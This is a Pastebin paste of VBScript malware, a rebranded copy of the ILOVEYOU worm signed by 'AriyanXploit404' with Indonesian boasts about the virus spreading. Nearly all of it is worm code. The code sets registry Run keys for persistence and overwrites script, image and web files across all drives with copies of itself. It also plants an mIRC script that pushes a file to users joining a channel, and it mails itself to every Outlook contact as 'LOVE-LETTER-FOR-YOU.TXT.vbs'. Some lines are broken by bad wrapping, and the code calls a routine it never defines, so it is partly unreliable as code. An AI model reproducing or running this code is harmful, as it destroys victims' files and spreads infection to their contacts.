API tools faq
paste
AriyanXploit404

Surat Cinta Dari Ariyan

AriyanXploit404
Dec 10th, 2021 (edited)
345
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VBScript 6.16 KB | None | 0 0
raw download clone embed print report
  1. On Error Resume Next
  2.  dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
  3.  eq=""
  4.  ctr=0
  5.  Set fso = CreateObject("Scripting.FileSystemObject")
  6.  set file = fso.OpenTextFile(WScript.ScriptFullname,1)
  7.  vbscopy=file.ReadAll
  8.  main()
  9.  sub main()
  10.  On Error Resume Next
  11.  dim wscr,rr
  12.  set wscr=CreateObject("WScript.Shell")
  13.  rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
  14.  if (rr>=1) then
  15.  wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
  16.  end if
  17.  Set dirwin = fso.GetSpecialFolder(0)
  18.  Set dirsystem = fso.GetSpecialFolder(1)
  19.  Set dirtemp = fso.GetSpecialFolder(2)
  20.  Set c = fso.GetFile(WScript.ScriptFullName)
  21.  c.Copy(dirsystem&"\MSKernel32.vbs")
  22.  c.Copy(dirwin&"\Win32DLL.vbs")
  23.  c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
  24.  regruns()
  25.  html()
  26.  spreadtoemail()
  27.  listadriv()
  28.  end sub
  29.  sub regruns()
  30.  On Error Resume Next
  31.  Dim num,downread
  32.  regcreate
  33.  "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKern el32",dirsystem&"\MSKernel32.vbs"
  34.  regcreate
  35.  "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunService s\Win32DLL",dirwin&"\Win32DLL.vbs"
  36.  downread=""
  37.  downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")
  38.  if (downread="") then
  39.  downread="c:\"
  40.  end if
  41.  if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
  42.  Randomize
  43.  num = Int((4 * Rnd) + 1)
  44.  if num = 1 then
  45.  if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then regcreate
  46.  "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BU GSFIX",downread&"\WIN-BUGSFIX.exe"
  47.  regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet
  48. Explorer\Main\Start Page","about:blank"
  49.  end if
  50.  end sub
  51.  sub listadriv
  52.  On Error Resume Next
  53.  Dim d,dc,s
  54.  Set dc = fso.Drives
  55.  For Each d in dc
  56.  If d.DriveType = 2 or d.DriveType=3 Then
  57.  folderlist(d.path&"\")
  58.  end if
  59.  Next
  60.  listadriv = s
  61.  end sub
  62.  sub infectfiles(folderspec)
  63.  On Error Resume Next
  64.  dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
  65.  set f = fso.GetFolder(folderspec)
  66.  set fc = f.Files
  67.  for each f1 in fc
  68.  ext=fso.GetExtensionName(f1.path)
  69.  ext=lcase(ext)
  70.  s=lcase(f1.name)
  71.  if (ext="vbs") or (ext="vbe") then
  72.  set ap=fso.OpenTextFile(f1.path,2,true)
  73.  ap.write vbscopy
  74.  ap.close
  75.  elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
  76.  set ap=fso.OpenTextFile(f1.path,2,true)
  77.  ap.write vbscopy
  78.  ap.close
  79.  bname=fso.GetBaseName(f1.path)
  80.  set cop=fso.GetFile(f1.path)
  81.  cop.copy(folderspec&"\"&bname&".vbs") fso.DeleteFile(f1.path)
  82.  elseif(ext="jpg") or (ext="jpeg") then
  83.  set ap=fso.OpenTextFile(f1.path,2,true)
  84.  ap.write vbscopy
  85.  ap.close
  86.  set cop=fso.GetFile(f1.path)
  87.  cop.copy(f1.path&".vbs")
  88.  fso.DeleteFile(f1.path)
  89.  elseif(ext="mp3") or (ext="mp2") then
  90.  set mp3=fso.CreateTextFile(f1.path&".vbs")
  91.  mp3.write vbscopy
  92.  mp3.close
  93.  set att=fso.GetFile(f1.path)
  94.  att.attributes=att.attributes+2
  95.  end if
  96.  if (eq<>folderspec) then
  97.  if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
  98.  set scriptini=fso.CreateTextFile(folderspec&"\script.ini") scriptini.WriteLine "[script]"
  99.  scriptini.WriteLine "; Hacked By AriyanXploit404"
  100.  scriptini.WriteLine "; Datang Sebagai Siswa Yang Selalu Bergerak Sebagai Pemula Dan Pulang Sebagai Legenda"
  101.  scriptini.WriteLine "  'Data Tersaji Di Atas Piring Dan Kau Hanya Perlu Mengambilnya' "
  102.  scriptini.WriteLine ";"
  103.  scriptini.WriteLine ";AriyanXploit404"
  104.  scriptini.WriteLine ";"
  105.  scriptini.WriteLine "; Hehehehehe, Maaf ya klo virus ku selalu buat masalah. Ya mau gimana lagi? Namanya Juga Makhluk Hidup ya pasti mencari tempat berkembang biak kan? :3 "
  106.  scriptini.WriteLine ";"
  107.  scriptini.WriteLine "n0=on 1:JOIN:#:{"
  108.  scriptini.WriteLine "n1=  /if ( $nick == $me ) { halt }" scriptini.WriteLine "n2=  /.dcc send $nick
  109. "&dirsystem&"\HACKED-LETTER-FOR-YOU.HTM"
  110.  scriptini.WriteLine "n3=}"
  111.  scriptini.close
  112.  eq=folderspec
  113.  end if
  114.  end if
  115.  next
  116.  end sub
  117.  sub folderlist(folderspec)
  118.  On Error Resume Next
  119.  dim f,f1,sf
  120.  set f = fso.GetFolder(folderspec)
  121.  set sf = f.SubFolders
  122.  for each f1 in sf
  123.  infectfiles(f1.path)
  124.  folderlist(f1.path)
  125.  next
  126.  end sub
  127.  sub regcreate(regkey,regvalue)
  128.  Set regedit = CreateObject("WScript.Shell")
  129.  regedit.RegWrite regkey,regvalue
  130.  end sub
  131.  function regget(value)
  132.  Set regedit = CreateObject("WScript.Shell")
  133.  regget=regedit.RegRead(value)
  134.  end function
  135.  function fileexist(filespec)
  136.  On Error Resume Next
  137.  dim msg
  138.  if (fso.FileExists(filespec)) Then
  139.  msg = 0
  140.  else
  141.  msg = 1
  142.  end if
  143.  fileexist = msg
  144.  end function
  145.  function folderexist(folderspec)
  146.  On Error Resume Next
  147.  dim msg
  148.  if (fso.GetFolderExists(folderspec)) then
  149.  msg = 0
  150.  else
  151.  msg = 1
  152.  end if
  153.  fileexist = msg
  154.  end function
  155.  sub spreadtoemail()
  156.  On Error Resume Next
  157.  dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
  158.  set regedit=CreateObject("WScript.Shell")
  159.  set out=WScript.CreateObject("Outlook.Application")
  160.  set mapi=out.GetNameSpace("MAPI")
  161.  for ctrlists=1 to mapi.AddressLists.Count
  162.  set a=mapi.AddressLists(ctrlists)
  163.  x=1
  164.  regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) if (regv="") then
  165.  regv=1
  166.  end if
  167.  if (int(a.AddressEntries.Count)>int(regv)) then
  168.  for ctrentries=1 to a.AddressEntries.Count
  169.  malead=a.AddressEntries(x)
  170.  regad=""
  171.  regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead )
  172.  if (regad="") then
  173.  set male=out.CreateItem(0)
  174.  male.Recipients.Add(malead)
  175.  male.Subject = "Surat Cinta Dari Ku"
  176.  male.Body = vbcrlf&"Coba Cek Ini Surat Cinta Dari Ku."
  177.  male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send
  178.  regedit.RegWrite
  179.  "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD" end if
  180.  x=x+1
  181.  next
  182.  regedit.RegWrite
  183.  "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count else
  184.  regedit.RegWrite
  185.  "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count end if
  186.  next
  187.  Set out=Nothing
  188.  Set mapi=Nothing
  189.  end sub
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!